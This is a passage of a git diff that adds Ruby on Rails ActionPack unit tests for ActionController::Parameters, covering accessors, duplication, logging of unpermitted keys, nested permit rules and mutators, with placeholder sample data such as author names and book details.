+    assert_response :success
+    assert_equal ["ASCII-8BIT"], JSON.parse(@response.body).uniq
+  end
+
+  test "does not raise an error when passed a param declared as ASCII-8BIT that contains invalid bytes" do
+    get :test_bar, params: { "bar" => URI.parser.escape("bar\xE2baz".b) }
+
+    assert_response :success
+    assert_equal "ASCII-8BIT", @response.body
+  end
+end
diff --git a/actionpack/test/controller/parameters/accessors_test.rb b/actionpack/test/controller/parameters/accessors_test.rb
new file mode 100644
index 0000000000..43cabae7d2
--- /dev/null
+++ b/actionpack/test/controller/parameters/accessors_test.rb
@@ -0,0 +1,279 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+require "active_support/core_ext/hash/transform_values"
+
+class ParametersAccessorsTest < ActiveSupport::TestCase
+  setup do
+    ActionController::Parameters.permit_all_parameters = false
+
+    @params = ActionController::Parameters.new(
+      person: {
+        age: "32",
+        name: {
+          first: "David",
+          last: "Heinemeier Hansson"
+        },
+        addresses: [{ city: "Chicago", state: "Illinois" }]
+      }
+    )
+  end
+
+  test "[] retains permitted status" do
+    @params.permit!
+    assert @params[:person].permitted?
+    assert @params[:person][:name].permitted?
+  end
+
+  test "[] retains unpermitted status" do
+    assert_not @params[:person].permitted?
+    assert_not @params[:person][:name].permitted?
+  end
+
+  test "as_json returns the JSON representation of the parameters hash" do
+    assert_not @params.as_json.key? "parameters"
+    assert_not @params.as_json.key? "permitted"
+    assert @params.as_json.key? "person"
+  end
+
+  test "to_s returns the string representation of the parameters hash" do
+    assert_equal '{"person"=>{"age"=>"32", "name"=>{"first"=>"David", "last"=>"Heinemeier Hansson"}, ' \
+      '"addresses"=>[{"city"=>"Chicago", "state"=>"Illinois"}]}}', @params.to_s
+  end
+
+  test "each carries permitted status" do
+    @params.permit!
+    @params.each { |key, value| assert(value.permitted?) if key == "person" }
+  end
+
+  test "each carries unpermitted status" do
+    @params.each { |key, value| assert_not(value.permitted?) if key == "person" }
+  end
+
+  test "each_pair carries permitted status" do
+    @params.permit!
+    @params.each_pair { |key, value| assert(value.permitted?) if key == "person" }
+  end
+
+  test "each_pair carries unpermitted status" do
+    @params.each_pair { |key, value| assert_not(value.permitted?) if key == "person" }
+  end
+
+  test "empty? returns true when params contains no key/value pairs" do
+    params = ActionController::Parameters.new
+    assert params.empty?
+  end
+
+  test "empty? returns false when any params are present" do
+    refute @params.empty?
+  end
+
+  test "except retains permitted status" do
+    @params.permit!
+    assert @params.except(:person).permitted?
+    assert @params[:person].except(:name).permitted?
+  end
+
+  test "except retains unpermitted status" do
+    assert_not @params.except(:person).permitted?
+    assert_not @params[:person].except(:name).permitted?
+  end
+
+  test "fetch retains permitted status" do
+    @params.permit!
+    assert @params.fetch(:person).permitted?
+    assert @params[:person].fetch(:name).permitted?
+  end
+
+  test "fetch retains unpermitted status" do
+    assert_not @params.fetch(:person).permitted?
+    assert_not @params[:person].fetch(:name).permitted?
+  end
+
+  test "has_key? returns true if the given key is present in the params" do
+    assert @params.has_key?(:person)
+  end
+
+  test "has_key? returns false if the given key is not present in the params" do
+    refute @params.has_key?(:address)
+  end
+
+  test "has_value? returns true if the given value is present in the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    assert params.has_value?("Chicago")
+  end
+
+  test "has_value? returns false if the given value is not present in the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    refute params.has_value?("New York")
+  end
+
+  test "include? returns true if the given key is present in the params" do
+    assert @params.include?(:person)
+  end
+
+  test "include? returns false if the given key is not present in the params" do
+    refute @params.include?(:address)
+  end
+
+  test "key? returns true if the given key is present in the params" do
+    assert @params.key?(:person)
+  end
+
+  test "key? returns false if the given key is not present in the params" do
+    refute @params.key?(:address)
+  end
+
+  test "keys returns an array of the keys of the params" do
+    assert_equal ["person"], @params.keys
+    assert_equal ["age", "name", "addresses"], @params[:person].keys
+  end
+
+  test "reject retains permitted status" do
+    assert_not @params.reject { |k| k == "person" }.permitted?
+  end
+
+  test "reject retains unpermitted status" do
+    @params.permit!
+    assert @params.reject { |k| k == "person" }.permitted?
+  end
+
+  test "select retains permitted status" do
+    @params.permit!
+    assert @params.select { |k| k == "person" }.permitted?
+  end
+
+  test "select retains unpermitted status" do
+    assert_not @params.select { |k| k == "person" }.permitted?
+  end
+
+  test "slice retains permitted status" do
+    @params.permit!
+    assert @params.slice(:person).permitted?
+  end
+
+  test "slice retains unpermitted status" do
+    assert_not @params.slice(:person).permitted?
+  end
+
+  test "transform_keys retains permitted status" do
+    @params.permit!
+    assert @params.transform_keys { |k| k }.permitted?
+  end
+
+  test "transform_keys retains unpermitted status" do
+    assert_not @params.transform_keys { |k| k }.permitted?
+  end
+
+  test "transform_values retains permitted status" do
+    @params.permit!
+    assert @params.transform_values { |v| v }.permitted?
+  end
+
+  test "transform_values retains unpermitted status" do
+    assert_not @params.transform_values { |v| v }.permitted?
+  end
+
+  test "value? returns true if the given value is present in the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    assert params.value?("Chicago")
+  end
+
+  test "value? returns false if the given value is not present in the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    refute params.value?("New York")
+  end
+
+  test "values returns an array of the values of the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    assert_equal ["Chicago", "Illinois"], params.values
+  end
+
+  test "values_at retains permitted status" do
+    @params.permit!
+    assert @params.values_at(:person).first.permitted?
+    assert @params[:person].values_at(:name).first.permitted?
+  end
+
+  test "values_at retains unpermitted status" do
+    assert_not @params.values_at(:person).first.permitted?
+    assert_not @params[:person].values_at(:name).first.permitted?
+  end
+
+  test "is equal to Parameters instance with same params" do
+    params1 = ActionController::Parameters.new(a: 1, b: 2)
+    params2 = ActionController::Parameters.new(a: 1, b: 2)
+    assert(params1 == params2)
+  end
+
+  test "is equal to Parameters instance with same permitted params" do
+    params1 = ActionController::Parameters.new(a: 1, b: 2).permit(:a)
+    params2 = ActionController::Parameters.new(a: 1, b: 2).permit(:a)
+    assert(params1 == params2)
+  end
+
+  test "is equal to Parameters instance with same different source params, but same permitted params" do
+    params1 = ActionController::Parameters.new(a: 1, b: 2).permit(:a)
+    params2 = ActionController::Parameters.new(a: 1, c: 3).permit(:a)
+    assert(params1 == params2)
+    assert(params2 == params1)
+  end
+
+  test "is not equal to an unpermitted Parameters instance with same params" do
+    params1 = ActionController::Parameters.new(a: 1).permit(:a)
+    params2 = ActionController::Parameters.new(a: 1)
+    assert(params1 != params2)
+    assert(params2 != params1)
+  end
+
+  test "is not equal to Parameters instance with different permitted params" do
+    params1 = ActionController::Parameters.new(a: 1, b: 2).permit(:a, :b)
+    params2 = ActionController::Parameters.new(a: 1, b: 2).permit(:a)
+    assert(params1 != params2)
+    assert(params2 != params1)
+  end
+
+  test "equality with simple types works" do
+    assert(@params != "Hello")
+    assert(@params != 42)
+    assert(@params != false)
+  end
+
+  test "inspect shows both class name, parameters and permitted flag" do
+    assert_equal(
+      '<ActionController::Parameters {"person"=>{"age"=>"32", '\
+        '"name"=>{"first"=>"David", "last"=>"Heinemeier Hansson"}, ' \
+        '"addresses"=>[{"city"=>"Chicago", "state"=>"Illinois"}]}} permitted: false>',
+      @params.inspect
+    )
+  end
+
+  test "inspect prints updated permitted flag in the output" do
+    assert_match(/permitted: false/, @params.inspect)
+
+    @params.permit!
+
+    assert_match(/permitted: true/, @params.inspect)
+  end
+
+  if Hash.method_defined?(:dig)
+    test "#dig delegates the dig method to its values" do
+      assert_equal "David", @params.dig(:person, :name, :first)
+      assert_equal "Chicago", @params.dig(:person, :addresses, 0, :city)
+    end
+
+    test "#dig converts hashes to parameters" do
+      assert_kind_of ActionController::Parameters, @params.dig(:person)
+      assert_kind_of ActionController::Parameters, @params.dig(:person, :addresses, 0)
+      assert @params.dig(:person, :addresses).all? do |value|
+        value.is_a?(ActionController::Parameters)
+      end
+    end
+  else
+    test "ActionController::Parameters does not respond to #dig on Ruby 2.2" do
+      assert_not ActionController::Parameters.method_defined?(:dig)
+      assert_not @params.respond_to?(:dig)
+    end
+  end
+end
diff --git a/actionpack/test/controller/parameters/always_permitted_parameters_test.rb b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
new file mode 100644
index 0000000000..1e8b71d789
--- /dev/null
+++ b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+
+class AlwaysPermittedParametersTest < ActiveSupport::TestCase
+  def setup
+    ActionController::Parameters.action_on_unpermitted_parameters = :raise
+    ActionController::Parameters.always_permitted_parameters = %w( controller action format )
+  end
+
+  def teardown
+    ActionController::Parameters.action_on_unpermitted_parameters = false
+    ActionController::Parameters.always_permitted_parameters = %w( controller action )
+  end
+
+  test "returns super on missing constant other than NEVER_UNPERMITTED_PARAMS" do
+    ActionController::Parameters.superclass.stub :const_missing, "super" do
+      assert_equal "super", ActionController::Parameters::NON_EXISTING_CONSTANT
+    end
+  end
+
+  test "permits parameters that are whitelisted" do
+    params = ActionController::Parameters.new(
+      book: { pages: 65 },
+      format: "json")
+    permitted = params.permit book: [:pages]
+    assert permitted.permitted?
+  end
+end
diff --git a/actionpack/test/controller/parameters/dup_test.rb b/actionpack/test/controller/parameters/dup_test.rb
new file mode 100644
index 0000000000..f5833aff46
--- /dev/null
+++ b/actionpack/test/controller/parameters/dup_test.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+require "active_support/core_ext/object/deep_dup"
+
+class ParametersDupTest < ActiveSupport::TestCase
+  setup do
+    ActionController::Parameters.permit_all_parameters = false
+
+    @params = ActionController::Parameters.new(
+      person: {
+        age: "32",
+        name: {
+          first: "David",
+          last: "Heinemeier Hansson"
+        },
+        addresses: [{ city: "Chicago", state: "Illinois" }]
+      }
+    )
+  end
+
+  test "a duplicate maintains the original's permitted status" do
+    @params.permit!
+    dupped_params = @params.dup
+    assert dupped_params.permitted?
+  end
+
+  test "a duplicate maintains the original's parameters" do
+    @params.permit!
+    dupped_params = @params.dup
+    assert_equal @params.to_h, dupped_params.to_h
+  end
+
+  test "changes to a duplicate's parameters do not affect the original" do
+    dupped_params = @params.dup
+    dupped_params.delete(:person)
+    assert_not_equal @params, dupped_params
+  end
+
+  test "changes to a duplicate's permitted status do not affect the original" do
+    dupped_params = @params.dup
+    dupped_params.permit!
+    assert_not_equal @params, dupped_params
+  end
+
+  test "deep_dup content" do
+    dupped_params = @params.deep_dup
+    dupped_params[:person][:age] = "45"
+    dupped_params[:person][:addresses].clear
+
+    assert_not_equal @params[:person][:age], dupped_params[:person][:age]
+    assert_not_equal @params[:person][:addresses], dupped_params[:person][:addresses]
+  end
+
+  test "deep_dup @permitted" do
+    dupped_params = @params.deep_dup
+    dupped_params.permit!
+
+    assert_not @params.permitted?
+  end
+
+  test "deep_dup @permitted is being copied" do
+    @params.permit!
+    assert @params.deep_dup.permitted?
+  end
+end
diff --git a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
new file mode 100644
index 0000000000..fc9229ca1d
--- /dev/null
+++ b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+
+class LogOnUnpermittedParamsTest < ActiveSupport::TestCase
+  def setup
+    ActionController::Parameters.action_on_unpermitted_parameters = :log
+  end
+
+  def teardown
+    ActionController::Parameters.action_on_unpermitted_parameters = false
+  end
+
+  test "logs on unexpected param" do
+    params = ActionController::Parameters.new(
+      book: { pages: 65 },
+      fishing: "Turnips")
+
+    assert_logged("Unpermitted parameter: :fishing") do
+      params.permit(book: [:pages])
+    end
+  end
+
+  test "logs on unexpected params" do
+    params = ActionController::Parameters.new(
+      book: { pages: 65 },
+      fishing: "Turnips",
+      car: "Mersedes")
+
+    assert_logged("Unpermitted parameters: :fishing, :car") do
+      params.permit(book: [:pages])
+    end
+  end
+
+  test "logs on unexpected nested param" do
+    params = ActionController::Parameters.new(
+      book: { pages: 65, title: "Green Cats and where to find then." })
+
+    assert_logged("Unpermitted parameter: :title") do
+      params.permit(book: [:pages])
+    end
+  end
+
+  test "logs on unexpected nested params" do
+    params = ActionController::Parameters.new(
+      book: { pages: 65, title: "Green Cats and where to find then.", author: "G. A. Dog" })
+
+    assert_logged("Unpermitted parameters: :title, :author") do
+      params.permit(book: [:pages])
+    end
+  end
+
+  private
+
+    def assert_logged(message)
+      old_logger = ActionController::Base.logger
+      log = StringIO.new
+      ActionController::Base.logger = Logger.new(log)
+
+      begin
+        yield
+
+        log.rewind
+        assert_match message, log.read
+      ensure
+        ActionController::Base.logger = old_logger
+      end
+    end
+end
diff --git a/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb b/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb
new file mode 100644
index 0000000000..dcf848a620
--- /dev/null
+++ b/actionpack/test/controller/parameters/multi_parameter_attributes_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+
+class MultiParameterAttributesTest < ActiveSupport::TestCase
+  test "permitted multi-parameter attribute keys" do
+    params = ActionController::Parameters.new(
+      book: {
+        "shipped_at(1i)"   => "2012",
+        "shipped_at(2i)"   => "3",
+        "shipped_at(3i)"   => "25",
+        "shipped_at(4i)"   => "10",
+        "shipped_at(5i)"   => "15",
+        "published_at(1i)" => "1999",
+        "published_at(2i)" => "2",
+        "published_at(3i)" => "5",
+        "price(1)"         => "R$",
+        "price(2f)"        => "2.02"
+      })
+
+    permitted = params.permit book: [ :shipped_at, :price ]
+
+    assert permitted.permitted?
+
+    assert_equal "2012", permitted[:book]["shipped_at(1i)"]
+    assert_equal "3", permitted[:book]["shipped_at(2i)"]
+    assert_equal "25", permitted[:book]["shipped_at(3i)"]
+    assert_equal "10", permitted[:book]["shipped_at(4i)"]
+    assert_equal "15", permitted[:book]["shipped_at(5i)"]
+
+    assert_equal "R$", permitted[:book]["price(1)"]
+    assert_equal "2.02", permitted[:book]["price(2f)"]
+
+    assert_nil permitted[:book]["published_at(1i)"]
+    assert_nil permitted[:book]["published_at(2i)"]
+    assert_nil permitted[:book]["published_at(3i)"]
+  end
+end
diff --git a/actionpack/test/controller/parameters/mutators_test.rb b/actionpack/test/controller/parameters/mutators_test.rb
new file mode 100644
index 0000000000..49dede03c2
--- /dev/null
+++ b/actionpack/test/controller/parameters/mutators_test.rb
@@ -0,0 +1,122 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+require "active_support/core_ext/hash/transform_values"
+
+class ParametersMutatorsTest < ActiveSupport::TestCase
+  setup do
+    @params = ActionController::Parameters.new(
+      person: {
+        age: "32",
+        name: {
+          first: "David",
+          last: "Heinemeier Hansson"
+        },
+        addresses: [{ city: "Chicago", state: "Illinois" }]
+      }
+    )
+  end
+
+  test "delete retains permitted status" do
+    @params.permit!
+    assert @params.delete(:person).permitted?
+  end
+
+  test "delete retains unpermitted status" do
+    assert_not @params.delete(:person).permitted?
+  end
+
+  test "delete returns the value when the key is present" do
+    assert_equal "32", @params[:person].delete(:age)
+  end
+
+  test "delete removes the entry when the key present" do
+    @params[:person].delete(:age)
+    assert_not @params[:person].key?(:age)
+  end
+
+  test "delete returns nil when the key is not present" do
+    assert_nil @params[:person].delete(:first_name)
+  end
+
+  test "delete returns the value of the given block when the key is not present" do
+    assert_equal "David", @params[:person].delete(:first_name) { "David" }
+  end
+
+  test "delete yields the key to the given block when the key is not present" do
+    assert_equal "first_name: David", @params[:person].delete(:first_name) { |k| "#{k}: David" }
+  end
+
+  test "delete_if retains permitted status" do
+    @params.permit!
+    assert @params.delete_if { |k| k == "person" }.permitted?
+  end
+
+  test "delete_if retains unpermitted status" do
+    assert_not @params.delete_if { |k| k == "person" }.permitted?
+  end
+
+  test "extract! retains permitted status" do
+    @params.permit!
+    assert @params.extract!(:person).permitted?
+  end
+
+  test "extract! retains unpermitted status" do
+    assert_not @params.extract!(:person).permitted?
+  end
+
+  test "keep_if retains permitted status" do
+    @params.permit!
+    assert @params.keep_if { |k, v| k == "person" }.permitted?
+  end
+
+  test "keep_if retains unpermitted status" do
+    assert_not @params.keep_if { |k, v| k == "person" }.permitted?
+  end
+
+  test "reject! retains permitted status" do
+    @params.permit!
+    assert @params.reject! { |k| k == "person" }.permitted?
+  end
+
+  test "reject! retains unpermitted status" do
+    assert_not @params.reject! { |k| k == "person" }.permitted?
+  end
+
+  test "select! retains permitted status" do
+    @params.permit!
+    assert @params.select! { |k| k != "person" }.permitted?
+  end
+
+  test "select! retains unpermitted status" do
+    assert_not @params.select! { |k| k != "person" }.permitted?
+  end
+
+  test "slice! retains permitted status" do
+    @params.permit!
+    assert @params.slice!(:person).permitted?
+  end
+
+  test "slice! retains unpermitted status" do
+    assert_not @params.slice!(:person).permitted?
+  end
+
+  test "transform_keys! retains permitted status" do
+    @params.permit!
+    assert @params.transform_keys! { |k| k }.permitted?
+  end
+
+  test "transform_keys! retains unpermitted status" do
+    assert_not @params.transform_keys! { |k| k }.permitted?
+  end
+
+  test "transform_values! retains permitted status" do
+    @params.permit!
+    assert @params.transform_values! { |v| v }.permitted?
+  end
+
+  test "transform_values! retains unpermitted status" do
+    assert_not @params.transform_values! { |v| v }.permitted?
+  end
+end
diff --git a/actionpack/test/controller/parameters/nested_parameters_permit_test.rb b/actionpack/test/controller/parameters/nested_parameters_permit_test.rb
new file mode 100644
index 0000000000..c9fcc483ee
--- /dev/null
+++ b/actionpack/test/controller/parameters/nested_parameters_permit_test.rb
@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+
+class NestedParametersPermitTest < ActiveSupport::TestCase
+  def assert_filtered_out(params, key)
+    assert !params.has_key?(key), "key #{key.inspect} has not been filtered out"
+  end
+
+  test "permitted nested parameters" do
+    params = ActionController::Parameters.new(
+      book: {
+        title: "Romeo and Juliet",
+        authors: [{
+          name: "William Shakespeare",
+          born: "1564-04-26"
+        }, {
+          name: "Christopher Marlowe"
+        }, {
+          name: %w(malicious injected names)
+        }],
+        details: {
+          pages: 200,
+          genre: "Tragedy"
+        },
+        id: {
+          isbn: "x"
+        }
+      },
+      magazine: "Mjallo!")
+
+    permitted = params.permit book: [ :title, { authors: [ :name ] }, { details: :pages }, :id ]
+
+    assert permitted.permitted?
+    assert_equal "Romeo and Juliet", permitted[:book][:title]
+    assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
+    assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
+    assert_equal 200, permitted[:book][:details][:pages]
+
+    assert_filtered_out permitted, :magazine
+    assert_filtered_out permitted[:book], :id
+    assert_filtered_out permitted[:book][:details], :genre
+    assert_filtered_out permitted[:book][:authors][0], :born
+    assert_filtered_out permitted[:book][:authors][2], :name
+  end
+
+  test "permitted nested parameters with a string or a symbol as a key" do
+    params = ActionController::Parameters.new(
+      book: {
+        "authors" => [
+          { name: "William Shakespeare", born: "1564-04-26" },
+          { name: "Christopher Marlowe" }
+        ]
+      })
+
+    permitted = params.permit book: [ { "authors" => [ :name ] } ]
+
+    assert_equal "William Shakespeare", permitted[:book]["authors"][0][:name]
+    assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
+    assert_equal "Christopher Marlowe", permitted[:book]["authors"][1][:name]
+    assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
+
+    permitted = params.permit book: [ { authors: [ :name ] } ]
+
+    assert_equal "William Shakespeare", permitted[:book]["authors"][0][:name]
+    assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
+    assert_equal "Christopher Marlowe", permitted[:book]["authors"][1][:name]
+    assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
+  end
+
+  test "nested arrays with strings" do
+    params = ActionController::Parameters.new(
+      book: {
+        genres: ["Tragedy"]
+      })
+
+    permitted = params.permit book: { genres: [] }
+    assert_equal ["Tragedy"], permitted[:book][:genres]
+  end
+
+  test "permit may specify symbols or strings" do
+    params = ActionController::Parameters.new(
+      book: {
+        title: "Romeo and Juliet",
+        author: "William Shakespeare"
+      },
+      magazine: "Shakespeare Today")
+
+    permitted = params.permit({ book: ["title", :author] }, "magazine")
+    assert_equal "Romeo and Juliet", permitted[:book][:title]
+    assert_equal "William Shakespeare", permitted[:book][:author]
+    assert_equal "Shakespeare Today", permitted[:magazine]
+  end
+
+  test "nested array with strings that should be hashes" do
+    params = ActionController::Parameters.new(
+      book: {
+        genres: ["Tragedy"]
+      })
+
+    permitted = params.permit book: { genres: :type }
+    assert_empty permitted[:book][:genres]
+  end
+
+  test "nested array with strings that should be hashes and additional values" do
+    params = ActionController::Parameters.new(
+      book: {
+        title: "Romeo and Juliet",
+        genres: ["Tragedy"]
+      })
+
+    permitted = params.permit book: [ :title, { genres: :type } ]
+    assert_equal "Romeo and Juliet", permitted[:book][:title]
+    assert_empty permitted[:book][:genres]
+  end
+
+  test "nested string that should be a hash" do
+    params = ActionController::Parameters.new(
+      book: {
+        genre: "Tragedy"
+      })
+
+    permitted = params.permit book: { genre: :type }
+    assert_nil permitted[:book][:genre]
+  end
+
+  test "fields_for-style nested params" do
+    params = ActionController::Parameters.new(
+      book: {
+        authors_attributes: {
+          '0': { name: "William Shakespeare", age_of_death: "52" },
+          '1': { name: "Unattributed Assistant" },
+          '2': { name: %w(injected names) }
+        }
+      })
+    permitted = params.permit book: { authors_attributes: [ :name ] }
+
+    assert_not_nil permitted[:book][:authors_attributes]["0"]
+    assert_not_nil permitted[:book][:authors_attributes]["1"]
+    assert_empty permitted[:book][:authors_attributes]["2"]
+    assert_equal "William Shakespeare", permitted[:book][:authors_attributes]["0"][:name]
+    assert_equal "Unattributed Assistant", permitted[:book][:authors_attributes]["1"][:name]
+
+    assert_equal(
+      { "book" => { "authors_attributes" => { "0" => { "name" => "William Shakespeare" }, "1" => { "name" => "Unattributed Assistant" }, "2" => {} } } },
+      permitted.to_h
+    )
+
+    assert_filtered_out permitted[:book][:authors_attributes]["0"], :age_of_death
+  end
+
+  test "fields_for-style nested params with negative numbers" do
+    params = ActionController::Parameters.new(
+      book: {
+        authors_attributes: {
+          '-1': { name: "William Shakespeare", age_of_death: "52" },
+          '-2': { name: "Unattributed Assistant" }
+        }
+      })
+    permitted = params.permit book: { authors_attributes: [:name] }
+
+    assert_not_nil permitted[:book][:authors_attributes]["-1"]
+    assert_not_nil permitted[:book][:authors_attributes]["-2"]
+    assert_equal "William Shakespeare", permitted[:book][:authors_attributes]["-1"][:name]
+    assert_equal "Unattributed Assistant", permitted[:book][:authors_attributes]["-2"][:name]
+
+    assert_filtered_out permitted[:book][:authors_attributes]["-1"], :age_of_death
+  end
+
+  test "nested number as key" do
+    params = ActionController::Parameters.new(
+      product: {
+        properties: {
+          "0" => "prop0",
+          "1" => "prop1"
+        }
+      })
+    params = params.require(:product).permit(properties: ["0"])
+    assert_not_nil        params[:properties]["0"]
+    assert_nil            params[:properties]["1"]
+    assert_equal "prop0", params[:properties]["0"]
+  end
+end
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
new file mode 100644
index 0000000000..ebdaca0162
--- /dev/null
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -0,0 +1,513 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/http/upload"
+require "action_controller/metal/strong_parameters"
+
+class ParametersPermitTest < ActiveSupport::TestCase
+  def assert_filtered_out(params, key)
+    assert !params.has_key?(key), "key #{key.inspect} has not been filtered out"
+  end
+
+  setup do
+    @params = ActionController::Parameters.new(
+      person: {
+        age: "32",
+        name: {
+          first: "David",
+          last: "Heinemeier Hansson"
+        },
+        addresses: [{ city: "Chicago", state: "Illinois" }]
+      }
+    )
+
+    @struct_fields = []
+    %w(0 1 12).each do |number|
+      ["", "i", "f"].each do |suffix|
+        @struct_fields << "sf(#{number}#{suffix})"
+      end
+    end
+  end
+
+  def walk_permitted(params)
+    params.each do |k, v|
+      case v
+      when ActionController::Parameters
+        walk_permitted v
+      when Array
+        v.each { |x| walk_permitted v }
+      end
+    end
+  end
+
+  test "iteration should not impact permit" do
+    hash = { "foo" => { "bar" => { "0" => { "baz" => "hello", "zot" => "1" } } } }
+    params = ActionController::Parameters.new(hash)
+
+    walk_permitted params
+
+    sanitized = params[:foo].permit(bar: [:baz])
+    assert_equal({ "0" => { "baz" => "hello" } }, sanitized[:bar].to_unsafe_h)
+  end
+
+  test "if nothing is permitted, the hash becomes empty" do
+    params = ActionController::Parameters.new(id: "1234")
+    permitted = params.permit
+    assert permitted.permitted?
+    assert permitted.empty?
+  end
+
+  test "key: permitted scalar values" do
+    values  = ["a", :a, nil]
+    values += [0, 1.0, 2**128, BigDecimal.new(1)]
+    values += [true, false]
+    values += [Date.today, Time.now, DateTime.now]
+    values += [STDOUT, StringIO.new, ActionDispatch::Http::UploadedFile.new(tempfile: __FILE__),
+      Rack::Test::UploadedFile.new(__FILE__)]
+
+    values.each do |value|
+      params = ActionController::Parameters.new(id: value)
+      permitted = params.permit(:id)
+      if value.nil?
+        assert_nil permitted[:id]
+      else
+        assert_equal value, permitted[:id]
+      end
+
+      @struct_fields.each do |sf|
+        params = ActionController::Parameters.new(sf => value)
+        permitted = params.permit(:sf)
+        if value.nil?
+          assert_nil permitted[sf]
+        else
+          assert_equal value, permitted[sf]
+        end
+      end
+    end
+  end
+
+  test "key: unknown keys are filtered out" do
+    params = ActionController::Parameters.new(id: "1234", injected: "injected")
+    permitted = params.permit(:id)
+    assert_equal "1234", permitted[:id]
+    assert_filtered_out permitted, :injected
+  end
+
+  test "key: arrays are filtered out" do
+    [[], [1], ["1"]].each do |array|
+      params = ActionController::Parameters.new(id: array)
+      permitted = params.permit(:id)
+      assert_filtered_out permitted, :id
+
+      @struct_fields.each do |sf|
+        params = ActionController::Parameters.new(sf => array)
+        permitted = params.permit(:sf)
+        assert_filtered_out permitted, sf
+      end
+    end
+  end
+
+  test "key: hashes are filtered out" do
+    [{}, { foo: 1 }, { foo: "bar" }].each do |hash|
+      params = ActionController::Parameters.new(id: hash)
+      permitted = params.permit(:id)
+      assert_filtered_out permitted, :id
+
+      @struct_fields.each do |sf|
+        params = ActionController::Parameters.new(sf => hash)
+        permitted = params.permit(:sf)
+        assert_filtered_out permitted, sf
+      end
+    end
+  end
+
+  test "key: non-permitted scalar values are filtered out" do
+    params = ActionController::Parameters.new(id: Object.new)
+    permitted = params.permit(:id)
+    assert_filtered_out permitted, :id
+
+    @struct_fields.each do |sf|
+      params = ActionController::Parameters.new(sf => Object.new)
+      permitted = params.permit(:sf)
+      assert_filtered_out permitted, sf
+    end
+  end
+
+  test "key: it is not assigned if not present in params" do
+    params = ActionController::Parameters.new(name: "Joe")
+    permitted = params.permit(:id)
+    assert !permitted.has_key?(:id)
+  end
+
+  test "key to empty array: empty arrays pass" do
+    params = ActionController::Parameters.new(id: [])
+    permitted = params.permit(id: [])
+    assert_equal [], permitted[:id]
+  end
+
+  test "do not break params filtering on nil values" do
+    params = ActionController::Parameters.new(a: 1, b: [1, 2, 3], c: nil)
+
+    permitted = params.permit(:a, c: [], b: [])
+    assert_equal 1, permitted[:a]
+    assert_equal [1, 2, 3], permitted[:b]
+    assert_nil permitted[:c]
+  end
+
+  test "key to empty array: arrays of permitted scalars pass" do
+    [["foo"], [1], ["foo", "bar"], [1, 2, 3]].each do |array|
+      params = ActionController::Parameters.new(id: array)
+      permitted = params.permit(id: [])
+      assert_equal array, permitted[:id]
+    end
+  end
+
+  test "key to empty array: permitted scalar values do not pass" do
+    ["foo", 1].each do |permitted_scalar|
+      params = ActionController::Parameters.new(id: permitted_scalar)
+      permitted = params.permit(id: [])
+      assert_filtered_out permitted, :id
+    end
+  end
+
+  test "key to empty array: arrays of non-permitted scalar do not pass" do
+    [[Object.new], [[]], [[1]], [{}], [{ id: "1" }]].each do |non_permitted_scalar|
+      params = ActionController::Parameters.new(id: non_permitted_scalar)
+      permitted = params.permit(id: [])
+      assert_filtered_out permitted, :id
+    end
+  end
+
+  test "key to empty hash: arbitrary hashes are permitted" do
+    params = ActionController::Parameters.new(
+      username: "fxn",
+      preferences: {
+        scheme: "Marazul",
+        font: {
+          name: "Source Code Pro",
+          size: 12
+        },
+        tabstops:   [4, 8, 12, 16],
+        suspicious: [true, Object.new, false, /yo!/],
+        dubious:    [{ a: :a, b: /wtf!/ }, { c: :c }],
+        injected:   Object.new
+      },
+      hacked: 1 # not a hash
+    )
+
+    permitted = params.permit(:username, preferences: {}, hacked: {})
+
+    assert_equal "fxn",             permitted[:username]
+    assert_equal "Marazul",         permitted[:preferences][:scheme]
+    assert_equal "Source Code Pro", permitted[:preferences][:font][:name]
+    assert_equal 12,                permitted[:preferences][:font][:size]
+    assert_equal [4, 8, 12, 16],    permitted[:preferences][:tabstops]
+    assert_equal [true, false],     permitted[:preferences][:suspicious]
+    assert_equal :a,                permitted[:preferences][:dubious][0][:a]
+    assert_equal :c,                permitted[:preferences][:dubious][1][:c]
+
+    assert_filtered_out permitted[:preferences][:dubious][0], :b
+    assert_filtered_out permitted[:preferences], :injected
+    assert_filtered_out permitted, :hacked
+  end
+
+  test "fetch raises ParameterMissing exception" do
+    e = assert_raises(ActionController::ParameterMissing) do
+      @params.fetch :foo
+    end
+    assert_equal :foo, e.param
+  end
+
+  test "fetch with a default value of a hash does not mutate the object" do
+    params = ActionController::Parameters.new({})
